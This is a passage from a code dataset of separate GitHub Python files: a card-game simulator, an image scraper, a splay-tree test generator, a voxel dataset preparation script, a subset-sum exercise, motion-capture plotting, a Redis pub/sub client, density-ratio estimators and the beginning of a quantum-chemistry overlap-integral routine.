ai)\n busted = Draw(board, ai)\n sleep('draw_after', ai)\n else:\n print('TODO: Bank points')\n time.sleep(2.5 * TIMESCALE)\n\n while busted == False:\n drawBoard(board, board.pTurn)\n maxStackLen = max([len(x) for x in board.stacks])\n if maxStackLen==0 or ai.DrawOrCall(board.stacks, board.nextCardStats, board.getReturnStats()):\n board.addEvent(f'Player {board.pTurn+1}: Drawing')\n drawBoard(board, board.pTurn)\n sleep('draw_before', ai)\n busted = Draw(board, ai)\n sleep('draw_after', ai)\n\n if len(board.deck) == 0:\n break\n else:\n break\n\n availableStacks = []\n for i in range(3):\n if len(board.stacks[i]) > 0:\n availableStacks.append(i)\n\n if busted == False and len(availableStacks) > 0:\n board.addEvent(f'Player {board.pTurn+1}: Picking a Stack')\n drawBoard(board, board.pTurn)\n sleep('pickStack_before', ai)\n stackIndex = ai.TakeStack(availableStacks, board.nextCardStats, board.getReturnStats())\n newPoints = board.ApplyStack(stackIndex, board.pTurn)\n availableStacks.remove(stackIndex)\n board.addEvent(f'Player {board.pTurn+1}: Took Stack {stackIndex+1}: {newPoints} Points')\n drawBoard(board, board.pTurn)\n sleep('pickStack_after', ai)\n\n otherPlayers = [(board.pTurn+1)%board.players, (board.pTurn+2)%board.players]\n if board.reverse == False:\n otherPlayers.reverse()\n \n for p in otherPlayers:\n if len(availableStacks) > 0:\n board.addEvent(f'Player {p+1}: Picking a Stack')\n drawBoard(board, p)\n otherAI = board.playerAI[p]\n sleep('pickStack_before', otherAI)\n stackIndex = otherAI.TakeStack(availableStacks, board.nextCardStats, board.getReturnStats(p))\n newPoints = board.ApplyStack(stackIndex, p)\n availableStacks.remove(stackIndex)\n board.addEvent(f'Player {p+1}: Took Stack {stackIndex+1}: {newPoints} Points')\n drawBoard(board, p)\n sleep('pickStack_after', otherAI)\n\n # input('Continue:')\n if len(board.deck) == 0:\n return endgame(board)\n turn += 1\n\ndef main():\n wins = dict()\n totalGames = 100\n for i in range(totalGames):\n r = Game([PlayerGeneric(0, 'min', 0), PlayerGeneric(15, 'max', 2), PlayerGeneric(10, 'avg', 3)], False)\n if r['playerNum'] not in wins:\n wins[r['playerNum']] = dict()\n wins[r['playerNum']]['wins'] = 0 \n wins[r['playerNum']]['totalPoints'] = 0\n wins[r['playerNum']]['strategy'] = r['strategy']\n wins[r['playerNum']]['totalPoints'] += r['score']\n wins[r['playerNum']]['wins'] += 1\n\n clearBoard()\n printResults(wins, i+1, totalGames)\n # time.sleep(0.001)\n\nmain()","repo_name":"polklabs/push-simulator","sub_path":"push.py","file_name":"push.py","file_ext":"py","file_size_in_byte":10566,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"74679496998","text":"import requests\r\nfrom bs4 import BeautifulSoup\r\nimport os\r\n\r\nurl = \"\"\r\nresponse = requests.get(url)\r\n\r\nsoup = BeautifulSoup(response.content, \"html.parser\")\r\n\r\nfor a in soup.find_all(\"a\"):\r\n a_url = a.get(\"href\")\r\n if a_url.startswith(\"//i.4cdn.org/\"):\r\n a_url = \"https:\" + a_url\r\n a_name = os.path.basename(a_url)\r\n response = requests.get(a_url)\r\n with open(a_name, \"wb\") as f:\r\n f.write(response.content)\r\n print(f\"Saved {a_name}\")\r\n","repo_name":"alexoltl/chimgs","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"18807466138","text":"from random import randint\nif __name__ == '__main__':\n\n n = 1000000\n numeroInsercoes = int(n / 2)\n numeroConsulta = int(n / 2)\n artigos05 = int(numeroConsulta * 0.05) # 5% dos artigos\n listaInsercoes = []\n lista5 = []\n\n ficheiro = open(\"teste1000000.txt\", \"w\")\n\n for i in range(numeroInsercoes):\n numeroRandom = randint(0, n)\n if i < artigos05:\n lista5.append(f\"Pintura{numeroRandom}\")\n ficheiro.write(f\"ARTIGO Pintura{numeroRandom} {randint(100000, 999999)} {randint(1000, 9999)}\\n\")\n else:\n ficheiro.write(f\"ARTIGO Pintura{numeroRandom} {randint(100000, 999999)} {randint(1000, 9999)}\\n\")\n listaInsercoes.append(f\"Pintura{numeroRandom}\")\n\n\n _90percentInsercoes = int(numeroConsulta * 0.9)\n for i in range(numeroConsulta):\n if i < _90percentInsercoes:\n ficheiro.write(f\"CONSULTA {lista5[randint(1,len(lista5)-1)]}\\n\")\n else:\n ficheiro.write(f\"CONSULTA {listaInsercoes[randint(1,len(listaInsercoes)-1)]}\\n\")\n\n ficheiro.write(\"FIM\\n\")\n","repo_name":"JonnyMoura/Projetos_AED","sub_path":"gerarTestesSplay - 5% 90%.py","file_name":"gerarTestesSplay - 5% 90%.py","file_ext":"py","file_size_in_byte":1068,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10847282874","text":"import os\n# Enable this when running on a computer without a screen:\nos.environ['PYOPENGL_PLATFORM'] = 'egl'\nimport trimesh\nimport torch\nfrom tqdm import tqdm\nimport numpy as np\nfrom util import ensure_directory\nfrom multiprocessing import Pool\nimport traceback\nfrom mesh_to_sdf import get_surface_point_cloud, scale_to_unit_cube, scale_to_unit_sphere, BadMeshException\nimport VoxelSwapper\nfrom render_functions import render_voxel,render_voxel_offscreen\n\n# Voxel resolutions to create.\n# Set to [] if no voxels are needed.\n# Set to [32] for for all models except for the progressively growing DeepSDF/Voxel GAN\n# VOXEL_RESOLUTIONS = [8, 16, 32, 64]\n# Options for virtual scans used to generate SDFs\nUSE_DEPTH_BUFFER = True\nSCAN_COUNT = 50\nSCAN_RESOLUTION = 1024\nclass PrepareShapeGanDataset():\n # Voxel resolutions to create.\n # Set to [] if no voxels are needed.\n # Set to [32] for for all models except for the progressively growing DeepSDF/Voxel GAN\n # VOXEL_RESOLUTIONS = [8, 16, 32, 64]\n VOXEL_RESOLUTIONS = [16, 32, 64]\n # Options for virtual scans used to generate SDFs\n USE_DEPTH_BUFFER = True\n SCAN_COUNT = 50\n SCAN_RESOLUTION = 1024\n DATASET_NAME = 'chair_table_combinations'\n DIRECTORY_MODELS = '../data/shapenet/03001627'\n MODEL_EXTENSION = '.obj'\n DIRECTORY_VOXELS = '../data/{:s}/voxels_{{:d}}/'.format(DATASET_NAME)\n DIRECTORY_BAD_MESHES = '../data/{:s}/bad_meshes/'.format(DATASET_NAME)\n base_path = '../data/part_objs/'\n\n def __init__(self):\n pass\n\n def get_model_files(self):\n for directory, _, files in os.walk(self.DIRECTORY_MODELS):\n for filename in files:\n if filename.endswith(self.MODEL_EXTENSION):\n yield os.path.join(directory, filename)\n\n\n def get_hash(self,filename):\n return filename.split('/')[-3]\n\n def get_voxel_filename(self,model_filename, resolution):\n return os.path.join(self.DIRECTORY_VOXELS.format(resolution), self.get_hash(model_filename) + '.npy')\n\n def get_bad_mesh_filename(self,model_filename):\n return os.path.join(self.DIRECTORY_BAD_MESHES, self.get_hash(model_filename))\n\n\n def mark_bad_mesh(self,model_filename):\n filename = self.get_bad_mesh_filename(model_filename)\n ensure_directory(os.path.dirname(filename))\n open(filename, 'w').close()\n\n def is_bad_mesh_corinne(self, model_filename):\n return os.path.exists(os.path.join(self.DIRECTORY_BAD_MESHES, model_filename))\n\n def is_bad_mesh(self,model_filename):\n return os.path.exists(self.get_bad_mesh_filename(model_filename))\n\n def process_model_file(self,filename):\n try:\n if self.is_bad_mesh(filename):\n return\n\n mesh = trimesh.load(filename)\n\n voxel_filenames = [self.get_voxel_filename(filename, resolution) for resolution in self.VOXEL_RESOLUTIONS]\n if not all(os.path.exists(f) for f in voxel_filenames):\n mesh_unit_cube = scale_to_unit_cube(mesh)\n surface_point_cloud = get_surface_point_cloud(mesh_unit_cube, bounding_radius=3 ** 0.5,\n scan_count=SCAN_COUNT, scan_resolution=SCAN_RESOLUTION)\n try:\n for resolution in self.VOXEL_RESOLUTIONS:\n voxels = surface_point_cloud.get_voxels(resolution, use_depth_buffer=USE_DEPTH_BUFFER,\n check_result=True)\n # render_voxel(voxels, image_size=256, voxel_size=resolution, device=None,\n # output_filename=f\"images/ORIGINAL_{self.DATASET_NAME}_{resolution}_{int(torch.randint(1, 100, (1,)))}.gif\")\n\n\n render_voxel_offscreen(voxels, image_size=256, voxel_size=resolution, device=None,\n output_filename=f\"images/TEST_{self.DATASET_NAME}_{resolution}_{int(torch.randint(1, 100, (1,)))}.gif\")\n np.save(self.get_voxel_filename(filename, resolution), voxels)\n del voxels\n\n except BadMeshException:\n tqdm.write(\"Skipping bad mesh. ({:s})\".format(self.get_hash(filename)))\n self.mark_bad_mesh(filename)\n return\n del mesh_unit_cube, surface_point_cloud\n\n except:\n traceback.print_exc()\n\n\n def process_model_files(self):\n for res in self.VOXEL_RESOLUTIONS:\n ensure_directory(self.DIRECTORY_VOXELS.format(res))\n ensure_directory(self.DIRECTORY_BAD_MESHES)\n\n files = list(self.get_model_files())\n for filename in files:\n self.process_model_file(filename)\n\n\n def get_ids(self, obj_name):\n full_path = self.base_path + obj_name + \"/\"+obj_name+\".txt\"\n f = open(full_path)\n ids = [line[:-1] for line in f.readlines()]\n\n return ids\n def process_one_type(self, obj_type, type_ids):\n self.DATASET_NAME = obj_type\n self.DIRECTORY_BAD_MESHES = '../data/{:s}/bad_meshes/'.format(self.DATASET_NAME)\n self.DIRECTORY_VOXELS = '../data/{:s}/voxels_{{:d}}/'.format(self.DATASET_NAME, self.VOXEL_RESOLUTIONS)\n\n for i in range(len(type_ids)):\n print(type_ids[i])\n self.DIRECTORY_MODELS = f'../data/part_objs/{self.DATASET_NAME}/{type_ids[i]}/models'\n self.process_model_files()\n def process_all_types(self):\n\n chair_ids = self.get_ids(\"chair\")\n table_ids = self.get_ids(\"table\")\n print(\"chair_ids\", chair_ids)\n self.process_one_type(\"chair\", chair_ids)\n self.process_one_type(\"table\", table_ids)\n voxel_swapper = VoxelSwapper.VoxelSwapper()\n for res in self.VOXEL_RESOLUTIONS:\n DIRECTORY_VOXELS_chairs = f'../data/chair/voxels_{res}/'\n DIRECTORY_VOXELS_tables = f'../data/table/voxels_{res}/'\n DIRECTORY_VOXELS_combined = f'../data/chair_table_combinations/voxels_{res}/'\n ensure_directory(DIRECTORY_VOXELS_combined)\n\n for t in table_ids:\n self.DIRECTORY_BAD_MESHES = '../data/table/bad_meshes/'\n\n if self.is_bad_mesh_corinne(t):\n continue\n print(t)\n table_voxel = np.load(DIRECTORY_VOXELS_tables+t+\".npy\")\n for c in chair_ids:\n self.DIRECTORY_BAD_MESHES = '../data/chair/bad_meshes/'\n\n if self.is_bad_mesh_corinne(c):\n continue\n print(c)\n chair_voxel = np.load(DIRECTORY_VOXELS_chairs + c + \".npy\")\n new_voxel, valid = voxel_swapper.swap_voxel_vertical(chair_voxel, table_voxel, res)\n if valid:\n render_voxel(new_voxel, image_size=256, voxel_size=res, device=None,\n output_filename=f\"images/ORIGINAL_chair_table_{res}_{int(torch.randint(1,100,(1,)))}.gif\")\n\n np.save(DIRECTORY_VOXELS_combined + \"TABLE_\"+str(t)+\"_CHAIR_\"+str(c)+\".npy\", new_voxel)\n\n\nif __name__ == '__main__':\n prepareShapeGanDataset = PrepareShapeGanDataset()\n prepareShapeGanDataset.process_all_types()","repo_name":"coryalini/furniture-combo-gan","sub_path":"shapegan/prepare_shapegan_dataset.py","file_name":"prepare_shapegan_dataset.py","file_ext":"py","file_size_in_byte":7297,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23235410581","text":"\n#Dynamic Programming Approch of problem14, again my brain is to explode!!!\n\n # 0 1 2 3 ... sum\n # 0 3\n # 1 5\n # 2 6\n\n\ndef displayMatrix(matrix):\n for row in matrix:\n print(row)\n\n\ndef finSubsetwithsum(array,sum):\n\n n=len(array)\n\n matrix=[[False for x in range(sum+1)] for y in range(n)]\n\n for i in range(n):\n matrix[i][0]=True\n\n for j in range(1,sum+1):\n if array[0]==j:\n matrix[0][j]=True\n\n\n for i in range(1,n):\n for j in range(1,sum+1):\n if(matrix[i-1][j]==True):\n matrix[i][j]=True\n elif(j>array[i]):\n matrix[i][j]=matrix[i-1][j-array[i]] #Check the including solution\n\n displayMatrix(matrix)\n\narray = [1,3,7,2,1,2]\nprint(finSubsetwithsum(array,15))\n\n\n\n#I realized that this is not the way to solve thi :Here is the java implentatin from https://www.geeksforgeeks.org/perfect-sum-problem-print-subsets-given-sum/\n#Lets tackle this later. If you implement it, please try to post in that page, they don have python implementaion currently\n\n# // A Java program to count all subsets with given sum.\n# import java.util.ArrayList;\n# public class SubSet_sum_problem\n# {\n# \t// dp[i][j] is going to store true if sum j is\n# \t// possible with array elements from 0 to i.\n# \tstatic boolean[][] dp;\n#\n# \tstatic void display(ArrayList v)\n# \t{\n# \tSystem.out.println(v);\n# \t}\n#\n# \t// A recursive function to print all subsets with the\n# \t// help of dp[][]. Vector p[] stores current subset.\n# \tstatic void printSubsetsRec(int arr[], int i, int sum,\n# \t\t\t\t\t\t\t\t\t\tArrayList p)\n# \t{\n# \t\t// If we reached end and sum is non-zero. We print\n# \t\t// p[] only if arr[0] is equal to sun OR dp[0][sum]\n# \t\t// is true.\n# \t\tif (i == 0 && sum != 0 && dp[0][sum])\n# \t\t{\n# \t\t\tp.add(arr[i]);\n# \t\t\tdisplay(p);\n# \t\t\tp.clear();\n# \t\t\treturn;\n# \t\t}\n#\n# \t\t// If sum becomes 0\n# \t\tif (i == 0 && sum == 0)\n# \t\t{\n# \t\t\tdisplay(p);\n# \t\t\tp.clear();\n# \t\t\treturn;\n# \t\t}\n#\n# \t\t// If given sum can be achieved after ignoring\n# \t\t// current element.\n# \t\tif (dp[i-1][sum])\n# \t\t{\n# \t\t\t// Create a new vector to store path\n# \t\t\tArrayList b = new ArrayList<>();\n# \t\t\tb.addAll(p);\n# \t\t\tprintSubsetsRec(arr, i-1, sum, b);\n# \t\t}\n#\n# \t\t// If given sum can be achieved after considering\n# \t\t// current element.\n# \t\tif (sum >= arr[i] && dp[i-1][sum-arr[i]])\n# \t\t{\n# \t\t\tp.add(arr[i]);\n# \t\t\tprintSubsetsRec(arr, i-1, sum-arr[i], p);\n# \t\t}\n# \t}\n#\n# \t// Prints all subsets of arr[0..n-1] with sum 0.\n# \tstatic void printAllSubsets(int arr[], int n, int sum)\n# \t{\n# \t\tif (n == 0 || sum < 0)\n# \t\treturn;\n#\n# \t\t// Sum 0 can always be achieved with 0 elements\n# \t\tdp = new boolean[n][sum + 1];\n# \t\tfor (int i=0; i p = new ArrayList<>();\n# \t\tprintSubsetsRec(arr, n-1, sum, p);\n# \t}\n#\n# \t//Driver Program to test above functions\n# \tpublic static void main(String args[])\n# \t{\n# \t\tint arr[] = {1, 2, 3, 4, 5};\n# \t\tint n = arr.length;\n# \t\tint sum = 10;\n# \t\tprintAllSubsets(arr, n, sum);\n# \t}\n# }\n# //This code is contributed by Sumit Ghosh\n\n\n\n\n\n\n\n","repo_name":"anandhu-co-in/python_CodingMastery","sub_path":"01.CodingMasterty/0015.FindSubSetWithSpecificSumIfExists - DP _ INCOMPLETE.py","file_name":"0015.FindSubSetWithSpecificSumIfExists - DP _ INCOMPLETE.py","file_ext":"py","file_size_in_byte":3663,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39729315219","text":"import numpy as np\n\nimport MocapAnyalsis\nimport matplotlib.pyplot as plt\n\n\nif __name__ == '__main__':\n\n sub0_dyn_file = \"../../data/subject0/Standing_kneebend.csv\"\n sub0_static_file = \"../../data/subject0/StaticCal.csv\"\n sub0 = MocapAnyalsis.MocapAnyalsis(sub0_static_file, sub0_dyn_file)\n sub0_angles = abs(sub0.get_joint_angles()[:, 0])\n sub0_dist_center = sub0.get_distance()\n iptc0 = sub0.iptc\n mank = sub0.mank\n lank = sub0.lank\n\n fig, ax = plt.subplots(3)\n ax[0].plot(mank.x)\n ax[1].plot(mank.y)\n ax[2].plot(mank.z)\n ax[0].plot(lank.x)\n ax[1].plot(lank.y)\n ax[2].plot(lank.z)\n\n\n plt.show()\n sub1_dyn_file = \"../../data/subject1/StandingKneeFlex2.csv\"\n sub1_static_file = \"../../data/subject1/StaticCal.csv\"\n sub1 = MocapAnyalsis.MocapAnyalsis(sub1_static_file, sub1_dyn_file)\n iptc1 = sub1.iptc\n sub1_angles = abs(sub1.get_joint_angles()[:, 0])\n sub1_dist_center = sub1.get_distance()\n sub0.play()\n knee0 = sub0.knee\n knee1 = sub1.knee\n start0 = 1760\n end0 = 1890\n\n start1 = 4100\n end1 = 4216\n #\n start1 = 2763\n end1 = 2848\n\n fig, ax = plt.subplots(2)\n t0 = np.linspace(0, 1, len(sub0_angles[start0:end0]))\n t1 = np.linspace(0, 1, len(sub0_angles[start1:end1]))\n ax[0].plot(t0, sub0_angles[start0:end0] )\n ax[0].plot(t1 , sub1_angles[start1:end1])\n\n\n z = np.polyfit(np.radians(sub0_angles[start0:end0]), sub0_dist_center[start0:end0], 4 )\n print(z)\n my_poly = np.poly1d(z)\n new_line = my_poly(sub0_angles[start0:end0])\n ax[0].set_title(\"Angle\")\n ax[0].set_xlabel(\"frames\")\n ax[0].set_ylabel(\"theta\")\n ax[0].legend([\"subject0\", \"subject1\"])\n ax[1].set_title(\"dist vs angle\")\n ax[1].plot(sub0_angles[start0:end0], sub0_dist_center[start0:end0])\n ax[1].plot(sub1_angles[start1:end1], sub1_dist_center[start1:end1])\n #ax[1].plot(sub0_angles[start0:end0], new_line)\n\n # ax[2].set_title(\"IPTC\")\n # ax[2].plot(iptc0.x )\n # ax[2].plot(iptc0.y )\n # ax[2].plot(iptc0.z )\n #\n # ax[2].legend([\"sub0_x\",\"sub0_y\",\"sub0_z\"])\n #\n # ax[3].plot(iptc1.x)\n # ax[3].plot(iptc1.y)\n # ax[3].plot(iptc1.z)\n # ax[3].legend([\"sub1_x\", \"sub1_y\", \"sub1_z\"])\n #\n #\n # # ax[3].plot(knee0.x)\n # # ax[3].plot(sub0_angles)\n # #\n # # ax[3].plot(knee1.x)\n # # ax[3].plot(sub1_angles)\n # #\n # # ax[3].legend([\"sub0_kne_x\", \"sub0_knee_angle\",\"sub1_kne_x\", \"sub1_knee_angle\"])\n #\n # ax[1].set_title(\"angle vs distance\")\n # ax[1].set_xlabel(\"angle\")\n # ax[1].set_ylabel(\"dist (mm)\")\n\n plt.show()\n","repo_name":"nag92/Thesis","sub_path":"code/compare_subjects.py","file_name":"compare_subjects.py","file_ext":"py","file_size_in_byte":2586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"11111370930","text":"import redis\nimport threading\nimport time\nimport struct\nimport sys\n\n\nchannel_2 = 'toprocessor'\nchannel_center = 'recognizing'\nchannel_toCenter = 'sendtocenter'\ntoSendBack = []\n\n\ndef callData_fromCenter(channel):\n\tclient = redis.Redis(host = 'localhost', port = 6379)\n\t# ENTRY NEW PROCESSOR, NEW CHANNEL\n\twhile True:\n\t\tprint(\"Masukkan Nama Channel\")\n\t\tchannelName = input()\n\t\ttotal = client.publish(channel, channelName)\n\t\tif total == 0:\n\t\t\tprint(\"no subscriber\")\n\t\t\tprint(\"--RETRY--\")\n\t\telse:\n\t\t\tprint(\"CHANNEL SUBSCRIBED\")\n\t\t\tbreak\n\t\n\t# START NEW THREAD\n\tt_start = threading.Thread(target=fromCenter, args=(channelName+\".pub\",))\n\tt_start.start()\n\n\t# CALL DATA\n\twhile True:\n\t\tprint(\"Panggil Data?\")\n\t\tcallTrue = input()\n\t\tif callTrue == '0':\n\t\t\tprint(\"--SEND UNSUBSCRIBE TO CENTER--\")\n\t\t\twhile True:\n\t\t\t\ttotal = client.publish(channelName, '0')\n\t\t\t\tif total == 0:\n\t\t\t\t\tprint(total, \"SUBSCRIBER IN \", channelName, \"--THREAD DONE\")\n\t\t\t\t\tbreak\n\t\t\tbreak\n\t\t\t# BREAK THE THREAD\n\n\t\telse:\n\t\t\ttotal = client.publish(channelName, '1')\n\t\t\tprint(\"DATA CALLED\")\n\n\t\t\t\n# CEK PERINTAH YANG DITERIMA\ndef commandChecker(text):\n commandCheck = ''\n notedNumber = 0\n for xturn in range (0, len(text)):\n if text[xturn] == 'S':\n notedNumber = xturn\n commandCheck = text[notedNumber] + text[notedNumber+1] + text[notedNumber+2]\n break\n return commandCheck\n\n\n# MEMBUAT DATA UNTUK DIKIRIM ULANG\ndef generateSendData(text):\n print(text[2])\n if text[2] == b'S01':\n values = (text[0], text[1], text[2], text[3], b'www.lalala.com')\n elif text[2] == b'S03':\n values = (text[0], text[1], text[2], text[3], text[5])\n elif text[2] == b'S06':\n values = (text[0], text[1], text[2], text[3], text[5])\n return values \n\n# GANTI VARIABLE SESUAI PERINTAH (0-Packer, 1-unPacker)\ndef dataCorrection(text, number):\n if text == \"S01\":\n unpackerChar = 'Q h 3s h'\n packerChar = 'Q h 3s h 14s'\n elif text == \"S03\":\n unpackerChar = 'Q h 3s h h Q'\n packerChar = 'Q h 3s h Q'\n elif text == \"S06\":\n unpackerChar = 'Q h 3s h h L'\n packerChar = 'Q h 3s h L'\n \n if number == 1:\n return packerChar\n else:\n return unpackerChar\n \n\ndef send_toCenter(channel):\n\tclient = redis.Redis(host='localhost', port=6379)\n\twhile True:\n\t\tdataLeft = len(toSendBack)\n\t\tif dataLeft > 0:\n\t\t\ttoPop = toSendBack.pop(0)\n\t\t\tprint(\"Send Back This Data: \", toPop)\n\t\t\tclient.publish(channel, toPop)\n\t\t\tprint(len(toSendBack), \" -- Data Left\")\n\n# MENERIMA DATA DARI CENTER\ndef fromCenter(channel):\n\tclient = redis.Redis(host='localhost', port=6379)\n\tp = client.pubsub()\n\tp.subscribe(channel)\n\tprint(channel, \" Subscribed\")\n\twhile True:\n\t\tmessage = p.get_message()\n\t\tif message and not message['data'] == 1:\n\t\t\tmessage = message['data']\n\n\t\t\t# DATA PRE-PROCESSING\n\t\t\tdataConverted = str(message)\n\t\t\tcommandReceived = commandChecker(dataConverted)\n\t\t\tprint(commandReceived)\n\n\t\t\t# UNPACKING\n\t\t\tunpackerChar = dataCorrection(commandReceived, 0)\n\t\t\tunpacker = struct.Struct(unpackerChar)\n\t\t\tunpackedData = unpacker.unpack(message)\n\t\t\tprint(\"unpacked: \", unpackedData)\n\t\t\tprint(struct.calcsize(unpackerChar))\n\n\t\t\t # GENERATE DATA TO SENDBACK\n\t\t\tSendBack = generateSendData(unpackedData)\n\t\t\tprint(\"data to send: \", SendBack)\n \n\t\t\tpackerChar = dataCorrection(commandReceived, 1)\n\t\t\tpacker = struct.Struct(packerChar)\n\t\t\tpackedSendBack = packer.pack(*SendBack)\n\t\t\t\n\t\t\ttoSendBack.append(packedSendBack)\n\t\t\tprint(packedSendBack)\n\t\t\tprint(len(toSendBack))\n\nt1 = threading.Thread(target=callData_fromCenter, args=(channel_center,))\nt1.start()\n\nt2 = threading.Thread(target=send_toCenter, args=(channel_toCenter,))\nt2.start()","repo_name":"satrioadii/redis-python_challenge","sub_path":"client2.py","file_name":"client2.py","file_ext":"py","file_size_in_byte":3708,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"22038535605","text":"# -*- coding: utf-8 -*-\n#\n# Carl is free software; you can redistribute it and/or modify it\n# under the terms of the Revised BSD License; see LICENSE file for\n# more details.\n\nimport numpy as np\n\nfrom sklearn.base import BaseEstimator\nfrom sklearn.base import clone\nfrom sklearn.metrics import mean_squared_error\n\n\nclass DensityRatioMixin:\n def fit(self, X=None, y=None, numerator=None,\n denominator=None, n_samples=None, **kwargs):\n return self\n\n def predict(self, X, log=False, **kwargs):\n raise NotImplementedError\n\n def score(self, X, y, finite_only=True, **kwargs):\n ratios = self.predict(X, **kwargs)\n\n if finite_only:\n mask = np.isfinite(ratios)\n y = y[mask]\n ratios = ratios[mask]\n\n return -mean_squared_error(y, ratios)\n\n\nclass InverseRatio(DensityRatioMixin, BaseEstimator):\n def __init__(self, base_ratio):\n self.base_ratio = base_ratio\n\n def fit(self, X=None, y=None, numerator=None,\n denominator=None, n_samples=None, **kwargs):\n raise NotImplementedError\n\n def predict(self, X, log=False, **kwargs):\n if log:\n return -self.base_ratio.predict(X, log=True, **kwargs)\n else:\n return 1. / self.base_ratio.predict(X, log=False, **kwargs)\n\n\nclass DecomposedRatio(DensityRatioMixin, BaseEstimator):\n def __init__(self, base_ratio):\n self.base_ratio = base_ratio\n\n def fit(self, X=None, y=None, numerator=None,\n denominator=None, n_samples=None, **kwargs):\n self.identity_ = (numerator is not None) and (numerator is denominator)\n\n if self.identity_:\n return self\n\n if numerator is None or denominator is None or n_samples is None:\n raise ValueError\n\n self.ratios_ = {}\n self.ratios_map_ = {}\n self.numerator_ = numerator\n self.denominator_ = denominator\n\n n_samples_ij = n_samples // (len(numerator.components) *\n len(denominator.components))\n\n # XXX in case of identities or inverses, samples are thrown away!\n # we should first check whether these cases exist, and then\n # assign n_samples to each sub-ratio\n\n for i, p_i in enumerate(numerator.components):\n for j, p_j in enumerate(denominator.components):\n if (p_i, p_j) in self.ratios_map_:\n ratio = InverseRatio(\n self.ratios_[self.ratios_map_[(p_i, p_j)]])\n\n else:\n ratio = clone(self.base_ratio)\n ratio.fit(numerator=p_j, denominator=p_i,\n n_samples=n_samples_ij)\n\n self.ratios_[(j, i)] = ratio\n self.ratios_map_[(p_j, p_i)] = (j, i)\n\n return self\n\n def predict(self, X, log=False, **kwargs):\n if self.identity_:\n if log:\n return np.zeros(len(X))\n else:\n return np.ones(len(X))\n\n else:\n w_num = self.numerator_.compute_weights(**kwargs)\n w_den = self.denominator_.compute_weights(**kwargs)\n\n r = np.zeros(len(X))\n\n for i, w_i in enumerate(w_num):\n s = np.zeros(len(X))\n\n for j, w_j in enumerate(w_den):\n s += w_j * self.ratios_[(j, i)].predict(X, **kwargs)\n\n r += w_i / s\n\n if log:\n return np.log(r)\n else:\n return r\n","repo_name":"cranmer/carl","sub_path":"carl/ratios/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":3529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"29636128560","text":"\nfrom mscf.mole.mole import Mole\nimport numpy as np\nimport math\nfrom scipy import special\nfrom typing import List\n\n\ndef S_ij(I, J, Ax, Bx, ai, bi) -> List[List[int]]:\n p = ai + bi\n mu = ai * bi / p\n Xab = Ax - Bx\n #S = [[0 for j in range(J + 1)] for i in range(I + J + 1)]\n S = [[0.0 for j in range(J + 1)] for i in range(I + 1)]\n S[0][0] = np.sqrt(np.pi / p) * np.exp(-mu * Xab ** 2)\n #for i in range(I + J):\n for i in range(I):\n S[i + 1][0] = (-bi / p) * Xab * S[i][0] + (1 / (2.0 * p)) * (i * S[i - 1][0])\n for j in range(J):\n #for i in range(I + J):\n for i in range(I + 1):\n S[i][j+1] = (ai / p) *Xab* S[i][j] + (1/(2*p))*(i*S[i-1][j] + j*S[i][j-1])\n #if i + j >= I + J + 1:\n # continue\n #S[i][j + 1] = S[i + 1][j] + Xab * S[i][j]\n #S = S[:I + 1]\n return S\n\n\ndef cont_Sij(basis_a, basis_b) -> List[List[List[List[float]]]]:\n Ra, I, a, da = basis_a\n Rb, J, b, db = basis_b\n w_fact = [1, 1, 3, 15, 105] # (2*i-1)!! 0<=i<=4\n\n Sij = [[S_ij(I, J, Ra[0], Rb[0], ai, bi) for bi in b] for ai in a]\n Skl = [[S_ij(I, J, Ra[1], Rb[1], ai, bi) for bi in b] for ai in a]\n Smn = [[S_ij(I, J, Ra[2], Rb[2], ai, bi) for bi in b] for ai in a]\n\n # i+k+m = L && j+l+n = L を利用\n Sab = [[[[0.0 for l in range(J + 1)] for k in range(I + 1)] for j in range(J + 1)] for i in\n range(I + 1)] # L*L*L*L Debugのときは0じゃなくてNoneでも可能\n for i in range(I + 1):\n for j in range(J + 1):\n for k in range(I + 1 - i):\n for l in range(J + 1 - j):\n m = I - i - k\n n = J - j - l\n for p in range(len(a)):\n for q in range(len(b)):\n ans = da[p] * db[q] * Sij[p][q][i][j] * Skl[p][q][k][l] * Smn[p][q][m][n]\n Na = (2 * a[p] / np.pi) ** (3 / 4.0) * np.sqrt(\n ((4 * a[p]) ** I) / (w_fact[I])) # (w_fact[i] * w_fact[k] * w_fact[m]))\n Nb = (2 * b[q] / np.pi) ** (3 / 4.0) * np.sqrt(\n ((4 * b[q]) ** J) / (w_fact[J])) # (w_fact[j] * w_fact[l] * w_fact[n]))\n ans *= Na * Nb\n Sab[i][j][k][l] += ans\n return Sab\n\n\ndef S_lm(basis_a, basis_b) -> List[List[int]]:\n Sab = cont_Sij(basis_a, basis_b)\n Ra, la, a, da = basis_a\n Rb, lb, b, db = basis_b\n\n max_l = max(la, lb)\n fact = [math.factorial(i) for i in range(2 * max_l + 1)]\n comb = [[special.comb(i, j, exact=True) for j in range(max_l + 1)] for i in range(max_l + 1)]\n S_mamb = [[0 for mb in range(2 * lb + 1)] for ma in range(2 * la + 1)]\n # i番目はma = i-laに対応 i=0=>ma=-la, i=La=>ma=0, i=2*La=>ma=la\n C_a = [[[[(-2 * (t % 2) + 1.0) * (1.0 / 4 ** t) * comb[la][t] * comb[la - t][ma_ + t] * comb[t][u] * comb[ma_][v]\n if (la >= t >= u and la - t >= ma_ + t and ma_ >= 2 * v / 2.0) else 0\n for v in range(la + 1)] for u in range(la // 2 + 1)] for t in range(la // 2 + 1)] for ma_ in\n range(la + 1)]\n C_b = [[[[(-2 * (t % 2) + 1.0) * (1.0 / 4 ** t) * comb[lb][t] * comb[lb - t][mb_ + t] * comb[t][u] * comb[mb_][v]\n if (lb >= t >= u and lb - t >= 